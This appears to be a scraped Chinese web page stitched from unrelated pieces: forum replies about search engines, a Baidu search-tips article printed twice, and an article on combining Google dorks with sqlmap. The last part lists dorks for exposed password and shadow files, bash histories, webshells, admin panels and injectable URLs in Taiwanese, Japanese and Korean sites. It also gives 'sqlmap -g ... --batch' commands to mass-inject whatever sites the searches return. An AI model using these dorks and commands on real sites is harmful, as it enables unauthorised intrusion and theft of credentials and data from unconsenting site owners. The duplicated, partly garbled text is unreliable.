搜索指定網(wǎng)站內容時(shí),使用手機瀏覽器搜索指定網(wǎng)站內容,會(huì )推薦該網(wǎng)站內容中的新聞。
另類(lèi)點(diǎn)兒的有手機版pc端和各種問(wèn)答網(wǎng)站手機端可搜小眾關(guān)鍵詞就有結果了,
搜狗這個(gè)搜索功能我覺(jué)得不是特別好,特別是經(jīng)常搜一些沒(méi)有用過(guò)的,感覺(jué)搜狗查不出來(lái)的時(shí)候,搜狗就這么做了。
個(gè)人習慣:豆瓣。
百度啊,
新浪博客
其實(shí)我最喜歡的是,google搜索。但是要翻墻。
我覺(jué)得googlemap也是個(gè)不錯的選擇,打開(kāi)后,你可以搜索離你最近的城市,然后就是圖片,文字,各種信息。不但要用自己感興趣的,而且要評論才能看到附近有啥好玩的,體驗不一樣的生活。
googlemapsandsearch
必應啊。android之前版本搜索整個(gè)公司的所有東西都會(huì )有好嗎。
國內我選新浪微博
中國的搜索引擎大概就剩下百度了吧。
微博上找facebook或twitter,微軟的有samsungbada系列,都不錯.國外的googleamazonyahoo之類(lèi)的.
騰訊搜索,
百度了吧
其實(shí)我覺(jué)得首頁(yè)很大程度上只是一個(gè)映射某一些網(wǎng)站的門(mén)戶(hù)類(lèi)網(wǎng)站,根據網(wǎng)站的內容大而全,
在網(wǎng)絡(luò )上一般搜索的主要依據就是各種英文網(wǎng)站
用了10年百度,這6個(gè)搜索技巧,我居然才知道??!
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 399 次瀏覽 ? 2022-06-18 03:52
文 / 一周進(jìn)步 · 安哥拉
在信息過(guò)載的當下,即便我們不去主動(dòng)獲取信息,各種應用推薦和用戶(hù)生產(chǎn)的內容,也會(huì )把我們裹挾其中,但其中真正有價(jià)值的內容,實(shí)際上可能是少之又少。
每個(gè)人都會(huì )面臨「時(shí)間有限」的約束,如何從信息浪潮中快速找到自己需要的優(yōu)質(zhì)內容,幾乎成了每一個(gè)現代人必須面對的問(wèn)題。
除了找到優(yōu)質(zhì)的信息源,更為重要的是,用好手中的搜索,因為你想知道的東西,80% 都可以在網(wǎng)上找到答案。
因此,今天的文章,我整理了提高搜索效率和質(zhì)量的一些方法,包含搜索指令、以圖搜圖技巧、屏蔽網(wǎng)站和廣告等,希望這些內容對你有幫助。
01. 搜索指令
?、龠^(guò)濾關(guān)鍵詞
在搜索的關(guān)鍵詞后面使用減號,加上你想過(guò)濾的關(guān)鍵詞,可以去除標題中包含過(guò)濾關(guān)鍵詞的搜索結果。
舉個(gè)例子,在百度中以關(guān)鍵詞「學(xué)習App」進(jìn)行搜索,默認排在搜索結果頂部的是來(lái)自知乎的內容。
為了對比前后的效果,以「學(xué)習App-知乎」再次搜索,返回的結果就會(huì )過(guò)濾來(lái)自知乎的內容。
?、谠谥付ňW(wǎng)站中搜索
在關(guān)鍵詞后面加上site:網(wǎng)址,可以在指定的網(wǎng)站中搜索關(guān)鍵詞,這比較適合垂直且網(wǎng)址好記的網(wǎng)站,可以讓你在不打開(kāi)網(wǎng)站的情況下,直接使用關(guān)鍵詞進(jìn)行搜索。
以尋找答辯 PPT模板為例,直接以「答辯ppt」進(jìn)行搜索,返回的結果來(lái)自不同的網(wǎng)站,既有 PPT 教程的內容,也有 PPT 模板網(wǎng)站,比較雜亂。
如果你只想搜索返回 PPT模板的結果,可試著(zhù)將搜索的范圍局限在PPT模板網(wǎng)站,例如微軟家的模板網(wǎng)站,這樣得到的搜索結果會(huì )更加精確。
值得一提的是,site:后面添加的網(wǎng)址,不需要帶上或,否則返回的結果會(huì )顯示沒(méi)有找到相關(guān)的內容。
?、壑付ㄎ募?lèi)型
在關(guān)鍵詞后面加上filetype:文件格式,可以指定搜索結果返回的文件類(lèi)型,這里的文件格式包含但不限于 ppt、doc、pdf、xls 等。
還是以答辯 PPT為例,在關(guān)鍵詞后面加上「filetype:ppt」,這樣返回的結果就都僅限于 ppt 格式的文檔,不會(huì )亂入其他類(lèi)型的文件。
需要注意的是,自 Office2013起,Office新增了三種類(lèi)型的兼容格式pptx、docx和xlsx,但百度的filetype指令不支持這三個(gè)新的格式,而在 Google 中則可以正常使用。
?、芫_匹配
有時(shí)我們使用關(guān)鍵詞進(jìn)行搜索時(shí),搜索引擎會(huì )將我們的關(guān)鍵詞拆分為兩個(gè)小短語(yǔ)進(jìn)行搜索,導致搜索返回的結果不盡如人意。
為了解決這個(gè)問(wèn)題,我們可以將關(guān)鍵詞放到引號里邊,這樣搜索引擎在搜索時(shí)就會(huì )返回包含完整關(guān)鍵詞的結果,不會(huì )將關(guān)鍵詞拆分為亂序的多個(gè)短語(yǔ)。
這里的引號既可以是中文引號,也可以是英文引號,使用中文或英文引號對搜索返回的結果不會(huì )有影響。
如下圖所示,以「“城市地鐵”」進(jìn)行搜索時(shí),返回的結果都是完全匹配的,相比為未添加引號時(shí)可以適當地提高搜索效率。
?、萃ㄅ浞阉?br />
俗話(huà)說(shuō)“好記性不如爛筆頭”,有時(shí)剛聽(tīng)到或想到的東西,由于沒(méi)有及時(shí)記錄下來(lái),不一會(huì )兒在我們腦中可能就只剩下星星點(diǎn)點(diǎn)的碎片。
就像是你隱約記得有部動(dòng)漫叫《四月xx謊言》,但就是想不起中間的部分,此時(shí)你就可以使用星號*來(lái)代替,以此來(lái)告知搜索引擎,中間還有一部分你不清楚的內容。
這里的星號*被稱(chēng)為通配符,常用于模糊搜索的場(chǎng)景,當你不知道完整的文本時(shí),可以使用通配符代替其中的一個(gè)或多個(gè)字符,以此來(lái)盡可能地接近自己想要搜索的內容。
?、尴薅祟}關(guān)鍵詞
在關(guān)鍵詞 A后面加上intitle:關(guān)鍵詞 B,它有點(diǎn)像是數學(xué)中的交集,即搜索返回的結果中,其標題必須同時(shí)包含關(guān)鍵詞 A和 B。
以下圖為例,以「學(xué)習網(wǎng)站intitle:剪輯」進(jìn)行搜索,下方返回的搜索結果就會(huì )同時(shí)包含這兩個(gè)關(guān)鍵詞,讓搜索結果更聚焦。
前面雖然單獨介紹了每一個(gè)搜索指令,但在實(shí)際搜索場(chǎng)景下,我們可以將兩個(gè)或多個(gè)搜索命令結合起來(lái)使用,不同指令聯(lián)動(dòng)配合,提高搜索的效率和質(zhì)量。
02.百度高級搜索
剛接觸這些搜索指令的朋友,前期可能還會(huì )記得,但如果后續沒(méi)有有意識地使用它們,隨著(zhù)時(shí)間的流逝,這些指令就會(huì )慢慢被遺忘。
比較幸運的是,百度也自帶了類(lèi)似搜索指令的高級搜索,它以更易于理解的形式,將搜索指令呈現在我們面前。
點(diǎn)擊百度搜索頁(yè)面右上角的「設置」,打開(kāi)「高級搜索」。
在你了解了前面各個(gè)指令的含義之后,再來(lái)看下圖的高級搜索面板,應該就很好理解了。
以搜索關(guān)鍵詞為例,完整關(guān)鍵詞對應精確匹配的命令,不包括關(guān)鍵詞對應過(guò)濾關(guān)鍵詞命令。
在包含完整關(guān)鍵詞輸入框中輸入關(guān)鍵詞「城市地鐵」,接著(zhù)點(diǎn)擊底部的高級搜索,在打開(kāi)的搜索頁(yè)面中,它會(huì )自動(dòng)為關(guān)鍵詞加上雙引號,這與前面介紹的搜索命令是一致的。
此外,高級搜索面板還可以限定搜索返回的文檔格式,這里列出的文檔格式更清晰,包含 pdf、doc、xls、ppt 和 rtf 文件。
03.以圖搜圖
不少朋友可能都知道百度的「以圖搜圖」功能,通過(guò)將本地的圖片上傳到百度,它會(huì )幫我們找到與這張圖片相關(guān)的其他圖片。
但多數人每次使用百度的以圖搜圖時(shí),可能都是先在百度中搜索以圖搜圖,然后打開(kāi)百度識圖的頁(yè)面,最后再上傳圖片,整個(gè)流程下來(lái)有些繁瑣。
為幫助大家更高效地使用以圖搜圖,這里介紹兩個(gè)搜圖的小技巧:
?、侔磮D搜索
這是百度圖片自帶的功能,當你使用百度搜索特定圖片時(shí),將鼠標移動(dòng)到搜索返回的圖片上方,右下角會(huì )有兩個(gè)按鈕,一個(gè)是下載,另一個(gè)則是按圖片搜索。
點(diǎn)擊「按圖片搜索」,就會(huì )調用百度的以圖搜圖功能,尋找所有與當前圖片相關(guān)的內容。
另外,當你點(diǎn)擊圖片的縮略圖查看圖片詳情時(shí),點(diǎn)擊圖片下方的「按圖搜索」,同樣可以實(shí)現以圖搜圖的操作。
?、?Search by Image
前面介紹的「按圖搜索」有個(gè)不好的地方在于,它僅限在百度圖片的頁(yè)面起作用,對于其他網(wǎng)頁(yè)的圖片,就不能直接調用百度的以圖搜圖功能。
Search by Image,是一個(gè)強大的圖片搜索插件,它集成了 30多個(gè)搜索引擎,可以將任意網(wǎng)頁(yè)的圖片上傳到不同的搜索引擎,以此來(lái)查找與當前圖片相關(guān)的圖片或內容。
安裝了插件之后,在任意圖片上右擊,選擇「Search by image」,可以看到不同搜索引擎提供的以圖搜圖功能,選擇 Baidu 就會(huì )直接打開(kāi)百度識圖頁(yè)面。
打開(kāi)插件的設置頁(yè)面,可以查看插件集成的所有圖片搜索引擎,勾選引擎前面的復選框即可啟用,長(cháng)按拖拽改變引擎的位置,會(huì )影響右鍵菜單中引擎的上下順序。
04.屏蔽網(wǎng)站
在搜索時(shí),除了過(guò)濾不需要的關(guān)鍵詞,我們可能還想要屏蔽個(gè)人不喜歡的網(wǎng)站,例如各類(lèi)容易讓電腦中病毒的軟件下載站、2345 網(wǎng)站等。
我對屏蔽網(wǎng)站比較理想的期待是,它不會(huì )出現在搜索結果中,但目前百度搜索無(wú)法做到這樣,想屏蔽的網(wǎng)站還是會(huì )出現在搜索結果中,只能在打開(kāi)網(wǎng)站的時(shí)候將其屏蔽。
為了間接屏蔽網(wǎng)站,我們需要為瀏覽器安裝一個(gè)插件——Simple Blocker,正如其名,它屏蔽網(wǎng)站的操作非常簡(jiǎn)單。
安裝插件后,點(diǎn)擊右上角的插件圖標,打開(kāi)插件的配置頁(yè)面,在網(wǎng)站屏蔽列表Website Blockist中粘貼你想屏蔽的網(wǎng)站的網(wǎng)址,點(diǎn)擊下方的按鈕「Save Blocklist」保存。
之后當你打開(kāi)屏蔽列表中的網(wǎng)站,網(wǎng)站會(huì )跳轉到 Simple Blocker的攔截頁(yè)面,提示當前頁(yè)面已被屏蔽。
可能這類(lèi)屏蔽插件的正確用法不是這樣子,正確的用法可能是為了屏蔽少兒不宜的東西,但為了屏蔽那些惡心人的網(wǎng)站,我也只能拿來(lái)這么用了。
Simple Blocker 插件下載地址:
05. 屏蔽廣告
說(shuō)到百度,它最為讓人詬病的地方在于競價(jià)排名。競價(jià)排名,直接體現為我們在搜索結果頂部或者右側看到的廣告。
今年 4 月份百度經(jīng)過(guò)一輪整改后,原本泛濫的廣告行為已經(jīng)有所收斂。這里我以關(guān)鍵詞「降噪耳機」進(jìn)行搜索,返回的頁(yè)面頂部沒(méi)有廣告,廣告只出現在了右側欄。
如果你是一個(gè)強迫癥患者,想去除網(wǎng)頁(yè)側邊欄的廣告,可以為瀏覽器安裝去除廣告的插件,這些插件有uBlockOrigin、AdBlock、AdGuard 等,你可以隨意從中任選一款。
去廣告插件下載地址:
寫(xiě)在最后
除了本文介紹的內容,我之前還寫(xiě)過(guò)一篇介紹多個(gè)垂直搜索引擎的文章,感興趣的朋友可以戳下方的鏈接:
瀏覽至此,如果你在搜索方面也有自己的心得或體會(huì ),不妨在留言區寫(xiě)下你的想法,與其他朋友一起分享交流。
好看的人都在看▽ 查看全部
用了10年百度,這6個(gè)搜索技巧,我居然才知道??!
文 / 一周進(jìn)步 · 安哥拉
在信息過(guò)載的當下,即便我們不去主動(dòng)獲取信息,各種應用推薦和用戶(hù)生產(chǎn)的內容,也會(huì )把我們裹挾其中,但其中真正有價(jià)值的內容,實(shí)際上可能是少之又少。
每個(gè)人都會(huì )面臨「時(shí)間有限」的約束,如何從信息浪潮中快速找到自己需要的優(yōu)質(zhì)內容,幾乎成了每一個(gè)現代人必須面對的問(wèn)題。
除了找到優(yōu)質(zhì)的信息源,更為重要的是,用好手中的搜索,因為你想知道的東西,80% 都可以在網(wǎng)上找到答案。
因此,今天的文章,我整理了提高搜索效率和質(zhì)量的一些方法,包含搜索指令、以圖搜圖技巧、屏蔽網(wǎng)站和廣告等,希望這些內容對你有幫助。
01. 搜索指令
?、龠^(guò)濾關(guān)鍵詞
在搜索的關(guān)鍵詞后面使用減號,加上你想過(guò)濾的關(guān)鍵詞,可以去除標題中包含過(guò)濾關(guān)鍵詞的搜索結果。
舉個(gè)例子,在百度中以關(guān)鍵詞「學(xué)習App」進(jìn)行搜索,默認排在搜索結果頂部的是來(lái)自知乎的內容。
為了對比前后的效果,以「學(xué)習App-知乎」再次搜索,返回的結果就會(huì )過(guò)濾來(lái)自知乎的內容。
?、谠谥付ňW(wǎng)站中搜索
在關(guān)鍵詞后面加上site:網(wǎng)址,可以在指定的網(wǎng)站中搜索關(guān)鍵詞,這比較適合垂直且網(wǎng)址好記的網(wǎng)站,可以讓你在不打開(kāi)網(wǎng)站的情況下,直接使用關(guān)鍵詞進(jìn)行搜索。
以尋找答辯 PPT模板為例,直接以「答辯ppt」進(jìn)行搜索,返回的結果來(lái)自不同的網(wǎng)站,既有 PPT 教程的內容,也有 PPT 模板網(wǎng)站,比較雜亂。
如果你只想搜索返回 PPT模板的結果,可試著(zhù)將搜索的范圍局限在PPT模板網(wǎng)站,例如微軟家的模板網(wǎng)站,這樣得到的搜索結果會(huì )更加精確。
值得一提的是,site:后面添加的網(wǎng)址,不需要帶上或,否則返回的結果會(huì )顯示沒(méi)有找到相關(guān)的內容。
?、壑付ㄎ募?lèi)型
在關(guān)鍵詞后面加上filetype:文件格式,可以指定搜索結果返回的文件類(lèi)型,這里的文件格式包含但不限于 ppt、doc、pdf、xls 等。
還是以答辯 PPT為例,在關(guān)鍵詞后面加上「filetype:ppt」,這樣返回的結果就都僅限于 ppt 格式的文檔,不會(huì )亂入其他類(lèi)型的文件。
需要注意的是,自 Office2013起,Office新增了三種類(lèi)型的兼容格式pptx、docx和xlsx,但百度的filetype指令不支持這三個(gè)新的格式,而在 Google 中則可以正常使用。
?、芫_匹配
有時(shí)我們使用關(guān)鍵詞進(jìn)行搜索時(shí),搜索引擎會(huì )將我們的關(guān)鍵詞拆分為兩個(gè)小短語(yǔ)進(jìn)行搜索,導致搜索返回的結果不盡如人意。
為了解決這個(gè)問(wèn)題,我們可以將關(guān)鍵詞放到引號里邊,這樣搜索引擎在搜索時(shí)就會(huì )返回包含完整關(guān)鍵詞的結果,不會(huì )將關(guān)鍵詞拆分為亂序的多個(gè)短語(yǔ)。
這里的引號既可以是中文引號,也可以是英文引號,使用中文或英文引號對搜索返回的結果不會(huì )有影響。
如下圖所示,以「“城市地鐵”」進(jìn)行搜索時(shí),返回的結果都是完全匹配的,相比為未添加引號時(shí)可以適當地提高搜索效率。
?、萃ㄅ浞阉?br />
俗話(huà)說(shuō)“好記性不如爛筆頭”,有時(shí)剛聽(tīng)到或想到的東西,由于沒(méi)有及時(shí)記錄下來(lái),不一會(huì )兒在我們腦中可能就只剩下星星點(diǎn)點(diǎn)的碎片。
就像是你隱約記得有部動(dòng)漫叫《四月xx謊言》,但就是想不起中間的部分,此時(shí)你就可以使用星號*來(lái)代替,以此來(lái)告知搜索引擎,中間還有一部分你不清楚的內容。
這里的星號*被稱(chēng)為通配符,常用于模糊搜索的場(chǎng)景,當你不知道完整的文本時(shí),可以使用通配符代替其中的一個(gè)或多個(gè)字符,以此來(lái)盡可能地接近自己想要搜索的內容。
?、尴薅祟}關(guān)鍵詞
在關(guān)鍵詞 A后面加上intitle:關(guān)鍵詞 B,它有點(diǎn)像是數學(xué)中的交集,即搜索返回的結果中,其標題必須同時(shí)包含關(guān)鍵詞 A和 B。
以下圖為例,以「學(xué)習網(wǎng)站intitle:剪輯」進(jìn)行搜索,下方返回的搜索結果就會(huì )同時(shí)包含這兩個(gè)關(guān)鍵詞,讓搜索結果更聚焦。
前面雖然單獨介紹了每一個(gè)搜索指令,但在實(shí)際搜索場(chǎng)景下,我們可以將兩個(gè)或多個(gè)搜索命令結合起來(lái)使用,不同指令聯(lián)動(dòng)配合,提高搜索的效率和質(zhì)量。
02.百度高級搜索
剛接觸這些搜索指令的朋友,前期可能還會(huì )記得,但如果后續沒(méi)有有意識地使用它們,隨著(zhù)時(shí)間的流逝,這些指令就會(huì )慢慢被遺忘。
比較幸運的是,百度也自帶了類(lèi)似搜索指令的高級搜索,它以更易于理解的形式,將搜索指令呈現在我們面前。
點(diǎn)擊百度搜索頁(yè)面右上角的「設置」,打開(kāi)「高級搜索」。
在你了解了前面各個(gè)指令的含義之后,再來(lái)看下圖的高級搜索面板,應該就很好理解了。
以搜索關(guān)鍵詞為例,完整關(guān)鍵詞對應精確匹配的命令,不包括關(guān)鍵詞對應過(guò)濾關(guān)鍵詞命令。
在包含完整關(guān)鍵詞輸入框中輸入關(guān)鍵詞「城市地鐵」,接著(zhù)點(diǎn)擊底部的高級搜索,在打開(kāi)的搜索頁(yè)面中,它會(huì )自動(dòng)為關(guān)鍵詞加上雙引號,這與前面介紹的搜索命令是一致的。
此外,高級搜索面板還可以限定搜索返回的文檔格式,這里列出的文檔格式更清晰,包含 pdf、doc、xls、ppt 和 rtf 文件。
03.以圖搜圖
不少朋友可能都知道百度的「以圖搜圖」功能,通過(guò)將本地的圖片上傳到百度,它會(huì )幫我們找到與這張圖片相關(guān)的其他圖片。
但多數人每次使用百度的以圖搜圖時(shí),可能都是先在百度中搜索以圖搜圖,然后打開(kāi)百度識圖的頁(yè)面,最后再上傳圖片,整個(gè)流程下來(lái)有些繁瑣。
為幫助大家更高效地使用以圖搜圖,這里介紹兩個(gè)搜圖的小技巧:
?、侔磮D搜索
這是百度圖片自帶的功能,當你使用百度搜索特定圖片時(shí),將鼠標移動(dòng)到搜索返回的圖片上方,右下角會(huì )有兩個(gè)按鈕,一個(gè)是下載,另一個(gè)則是按圖片搜索。
點(diǎn)擊「按圖片搜索」,就會(huì )調用百度的以圖搜圖功能,尋找所有與當前圖片相關(guān)的內容。
另外,當你點(diǎn)擊圖片的縮略圖查看圖片詳情時(shí),點(diǎn)擊圖片下方的「按圖搜索」,同樣可以實(shí)現以圖搜圖的操作。
?、?Search by Image
前面介紹的「按圖搜索」有個(gè)不好的地方在于,它僅限在百度圖片的頁(yè)面起作用,對于其他網(wǎng)頁(yè)的圖片,就不能直接調用百度的以圖搜圖功能。
Search by Image,是一個(gè)強大的圖片搜索插件,它集成了 30多個(gè)搜索引擎,可以將任意網(wǎng)頁(yè)的圖片上傳到不同的搜索引擎,以此來(lái)查找與當前圖片相關(guān)的圖片或內容。
安裝了插件之后,在任意圖片上右擊,選擇「Search by image」,可以看到不同搜索引擎提供的以圖搜圖功能,選擇 Baidu 就會(huì )直接打開(kāi)百度識圖頁(yè)面。
打開(kāi)插件的設置頁(yè)面,可以查看插件集成的所有圖片搜索引擎,勾選引擎前面的復選框即可啟用,長(cháng)按拖拽改變引擎的位置,會(huì )影響右鍵菜單中引擎的上下順序。
04.屏蔽網(wǎng)站
在搜索時(shí),除了過(guò)濾不需要的關(guān)鍵詞,我們可能還想要屏蔽個(gè)人不喜歡的網(wǎng)站,例如各類(lèi)容易讓電腦中病毒的軟件下載站、2345 網(wǎng)站等。
我對屏蔽網(wǎng)站比較理想的期待是,它不會(huì )出現在搜索結果中,但目前百度搜索無(wú)法做到這樣,想屏蔽的網(wǎng)站還是會(huì )出現在搜索結果中,只能在打開(kāi)網(wǎng)站的時(shí)候將其屏蔽。
為了間接屏蔽網(wǎng)站,我們需要為瀏覽器安裝一個(gè)插件——Simple Blocker,正如其名,它屏蔽網(wǎng)站的操作非常簡(jiǎn)單。
安裝插件后,點(diǎn)擊右上角的插件圖標,打開(kāi)插件的配置頁(yè)面,在網(wǎng)站屏蔽列表Website Blockist中粘貼你想屏蔽的網(wǎng)站的網(wǎng)址,點(diǎn)擊下方的按鈕「Save Blocklist」保存。
之后當你打開(kāi)屏蔽列表中的網(wǎng)站,網(wǎng)站會(huì )跳轉到 Simple Blocker的攔截頁(yè)面,提示當前頁(yè)面已被屏蔽。
可能這類(lèi)屏蔽插件的正確用法不是這樣子,正確的用法可能是為了屏蔽少兒不宜的東西,但為了屏蔽那些惡心人的網(wǎng)站,我也只能拿來(lái)這么用了。
Simple Blocker 插件下載地址:
05. 屏蔽廣告
說(shuō)到百度,它最為讓人詬病的地方在于競價(jià)排名。競價(jià)排名,直接體現為我們在搜索結果頂部或者右側看到的廣告。
今年 4 月份百度經(jīng)過(guò)一輪整改后,原本泛濫的廣告行為已經(jīng)有所收斂。這里我以關(guān)鍵詞「降噪耳機」進(jìn)行搜索,返回的頁(yè)面頂部沒(méi)有廣告,廣告只出現在了右側欄。
如果你是一個(gè)強迫癥患者,想去除網(wǎng)頁(yè)側邊欄的廣告,可以為瀏覽器安裝去除廣告的插件,這些插件有uBlockOrigin、AdBlock、AdGuard 等,你可以隨意從中任選一款。
去廣告插件下載地址:
寫(xiě)在最后
除了本文介紹的內容,我之前還寫(xiě)過(guò)一篇介紹多個(gè)垂直搜索引擎的文章,感興趣的朋友可以戳下方的鏈接:
瀏覽至此,如果你在搜索方面也有自己的心得或體會(huì ),不妨在留言區寫(xiě)下你的想法,與其他朋友一起分享交流。
好看的人都在看▽
sqlamp利用搜索引擎獲取目標地址進(jìn)行注入
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 173 次瀏覽 ? 2022-06-14 14:28
隨著(zhù)近今年安全事件頻出,個(gè)人和公司安全意識大大提高,過(guò)去對一個(gè)站點(diǎn)隨便一試就存在sql注入漏洞的時(shí)光一去不返,但互聯(lián)網(wǎng)上千千萬(wàn)萬(wàn)公司,還有很多站點(diǎn)存在sql注入漏洞,好在sqlmap提供了google搜索注入,通過(guò)定義url值來(lái)進(jìn)行大批量的搜索,找到url后直接進(jìn)行測試,這個(gè)測試最關(guān)鍵的地方就是找到一個(gè)合適的定義名稱(chēng),也即搜索的文件名稱(chēng),本文主要介紹google黑客的一些語(yǔ)法和如何利用google進(jìn)行sqlmap注入目標的選定和測試。
3.7.1google黑客語(yǔ)法
目前世界上的搜索引擎主要有g(shù)oogle、百度等,搜索引擎最出名的應該是google,最好用的也是google,不過(guò)現在google被墻了(需要購買(mǎi)VPN或者通過(guò)sock5代理才能訪(fǎng)問(wèn)),google其強大的搜索功能,可以在瞬間找到想要的一切。對于普通的用戶(hù)而言,Google是一個(gè)強大的搜索引擎,但對于黑客而言,則可能是一款絕佳的黑客輔助工具,google每天不間斷的對世界上的網(wǎng)站進(jìn)行爬取,相當于一個(gè)巨型漏洞掃描器。因此黑客可以構造特殊的關(guān)鍵字語(yǔ)法,使用Google搜索關(guān)鍵字配置等信息。通過(guò)Google,黑客甚至可以在幾秒種內黑掉一個(gè)網(wǎng)站。這種利用Google搜索相關(guān)信息并進(jìn)行入侵的過(guò)程就叫做Google Hack。Google Hacking的含義原指利用Google搜索引擎搜索信息來(lái)進(jìn)行入侵的技術(shù)和行為,現指利用各種搜索引擎搜索信息來(lái)進(jìn)行入侵的技術(shù)和行為。
1.google基礎語(yǔ)法
Google 不分大小寫(xiě);Google 可以使用通配符“*”表示一個(gè)詞/字;Google 會(huì )智能地保留一些內容,比如一些過(guò)時(shí)的詞,一些不適合呈現的內容(比如違法信息);最常用的"關(guān)鍵字",雙引號會(huì )使Google強制搜索包含關(guān)鍵字的內容;布爾操作符AND(+)、NOT(-)、OR(|),AND現在已不需要,多個(gè)關(guān)鍵字google會(huì )都匹配到。
?。?)inurl——搜索包含有特定字符的URL
inurl:admin/manager 則可以找到帶有admin/manager字符的URL,通常這類(lèi)網(wǎng)址是管理員后臺的登錄網(wǎng)址,其它后臺地址名稱(chēng)還有:
admin
admin_index
admin_admin
index_admin
admin/index
admin/default
admin/manage
admin/login
manage_index
index_manage
manager/login
manager/login.asp
manager/admin.asp
login/admin/admin.asp
houtai/admin.asp
guanli/admin.asp
denglu/admin.asp
admin_login/admin.asp
admin_login/login.asp
admin/manage/admin.asp
admin/manage/login.asp
admin/default/admin.asp
admin/default/login.asp
member/admin.asp
member/login.asp
administrator/admin.asp
administrator/login.asp
?。?)intext(allintext)——搜索網(wǎng)頁(yè)正文內容中的指定字符
intext(allintext):網(wǎng)頁(yè)內容查找關(guān)鍵字,例如輸入“intext:百度”,這會(huì )查找包含百度關(guān)鍵字的網(wǎng)頁(yè)。
?。?)site——限制顯示某個(gè)域名的所有頁(yè)面
site: 則僅僅顯示域名,同時(shí)還可以使用“-”進(jìn)行排除。
?。?)filetype——對目標進(jìn)行某些文件類(lèi)型檢索
filetype后跟文件類(lèi)型,目前常見(jiàn)的類(lèi)型有doc、xml、rar、docx、inc、mdb、txt
、email、xls、.sql、inc、conf、txtf、xml、pdf、zip、tar.gz、xlsl等。
例如搜索doc文檔,則在搜索輸入框中鍵入:filetype:doc,這種方法主要是搜索某目標網(wǎng)站的一些通過(guò)google爬蟲(chóng)爬取的信息。filetype后跟腳本語(yǔ)言后綴,例如搜索asp腳本:filetype:asp,其它類(lèi)型類(lèi)似,主要有jsp、php、aspx、cfm等,可以?xún)H僅查看這些腳本的url。
?。?)intitle——限制搜索的網(wǎng)頁(yè)標題頁(yè)面
搜索網(wǎng)頁(yè)標題中包含有特定字符的網(wǎng)頁(yè),allintitle: 搜索所有關(guān)鍵字構成標題的網(wǎng)頁(yè).(allintite:關(guān)鍵字或者url地址)
?。?)link——將顯示跟指定網(wǎng)頁(yè)的所有鏈接的網(wǎng)頁(yè)
?。?)cache——將顯示在Google cache中的網(wǎng)頁(yè)
?。?)info——查找指定站點(diǎn)的一些基本信息
2.操作符說(shuō)明
在google中共有“+”、“-”、“~”、“.”、“*”、“""”等操作符,其中“+“表示將可能忽略的字列入查詢(xún)范圍,“-”把某個(gè)關(guān)鍵字忽略,“~”同意詞、“.”單一的通配符,“*”通配符,可代表多個(gè)字母;“""”精確查詢(xún)。
3.google黑客的一些應用
?。?)搜索敏感信息泄露
intitle:"index of" etc
intitle:"Index of" .sh_history
intitle:"Index of" .bash_history
intitle:"index of" passwd
intitle:"index of" people.lst
intitle:"index of" pwd.db
intitle:"index of" etc/shadow
intitle:"index of" spwd
intitle:"index of" master.passwd
intitle:"index of" htpasswd
intitle:"index of" admin
inurl:service.pwd
intitle:phpmyadmin intext:Create newdatabase//搜索phpmyadmin直接進(jìn)入后臺
intitle:"php shell*" "Enablestderr" filetype:php//批量搜索webshell
intitle:"index of" data//列出data目錄
intilte:"error occurred" ODBCrequest where (select|insert)//搜索sql注入出錯頁(yè)面
intitle:index.of filetype:log//搜索日志文件
?。?)查找管理后臺
intitle:管理
intitle:登錄
intitle:后臺
intitel:"后臺登錄"
?。?)查找警告錯誤信息
intile:error
intitle:warning
0x004 inurl的用法
?。?)查找數據庫和配置文件
inurl:editor/db/
inurl:eWebEditor/db/
inurl:bbs/data/
inurl:databackup/
inurl:blog/data/
inurl:okedata
inurl:bbs/database/
inurl:conn.asp
inurl:inc/conn.asp
inurl:"viewerframe?mode="//搜索攝像頭地址
inurl:db
inurl:mdb
inurl:config.txt
inurl:bash_history
inurl:data filetype:mdb//搜索mdb格式數據庫
?。?)搜索備份文件
inurl:temp
inurl:tmp
inurl:backup
inurl:bak
?。?)inurl中查找注入點(diǎn)
site: filetype:asp
site:tw inurl:asp?id=//這個(gè)是找臺灣的
site:jp inurl:php?id=// 這個(gè)是找日本的
site:ko inurl:jsp?id=// 這個(gè)是找韓國的
?。?)目標遍歷漏洞
Index of /admin
Index of /passwd
Index of /password
Index of /mail
"Index of /" +passwd
"Index of /" +password.txt
"Index of /" +.htaccess
"Index of /secret"
"Index of /confidential"
"Index of /root"
"Index of /cgi-bin"
"Index of /credit-card"
"Index of /logs"
"Index of /config"
“inde xof/ inurl:lib
3.7.2google黑客入侵方法及思路
1.獲取主域名下的所有其他子域名或者頁(yè)面信息
site:
2.找各個(gè)子域名的管理后臺
site:intitle:管理或者后臺或者登陸等關(guān)鍵字
site: inurl:login或者inurl:admin可以跟常用的后臺路徑
site: intext:管理或者后臺或者登陸等關(guān)鍵字
3.查找各子域名腳本文件
site: filetype:jsp
site: filetype:aspx
site: filetype:php
site: filetype:asp
可以窮盡化對各個(gè)子域名的腳本文件頁(yè)面。
4.查找上傳路徑地址
site: inurl:file
site: inurl:load
site: inurl:file
5.收集email郵箱等敏感信息
6.對存在腳本頁(yè)面及傳入參數進(jìn)行sql注入測試
7.對收集到的域名進(jìn)行漏洞掃描
3.7.3sqlmap利用搜索引擎進(jìn)行注入命令參數
sqlmap中提供了google進(jìn)行批量獲取注入的命令,通過(guò)該命令可以批量獲取url,對存在其中的url進(jìn)行注入測試。
1.命令參數
sqlmap.py -g inurl:asp?id=
sqlmap.py -g inurl:aspx?id=
sqlmap.py -g inurl:php?id=
sqlmap.py -g inurl:jsp?id=
2.可以使用--batch進(jìn)行自動(dòng)判斷和注入
注意:
?。?)國內用戶(hù)無(wú)法翻墻進(jìn)行注入測試,測試時(shí)必須使用代理或者vpn。
?。?)在kali中sqlmap命令為sqlmap -g
3.其它命令跟sqlmap進(jìn)行sql注入類(lèi)似
4.技巧
在定義inurl:asp?id=中指定具體的文件名稱(chēng),這個(gè)名稱(chēng)越不大眾化,越容易找出漏洞來(lái)。
5.常見(jiàn)的一些注入點(diǎn)搜索關(guān)鍵字
inurl:item_id= inurl:review.php?id= inurl:hosting_info.php?id=
inurl:newsid= inurl:iniziativa.php?in=inurl:gallery.php?id=
inurl:trainers.php?id=inurl:curriculum.php?id= inurl:rub.php?idr=
inurl:news-full.php?id=inurl:labels.php?id=inurl:view_faq.php?id=
inurl:news_display.php?getid=inurl:story.php?id= inurl:artikelinfo.php?id=
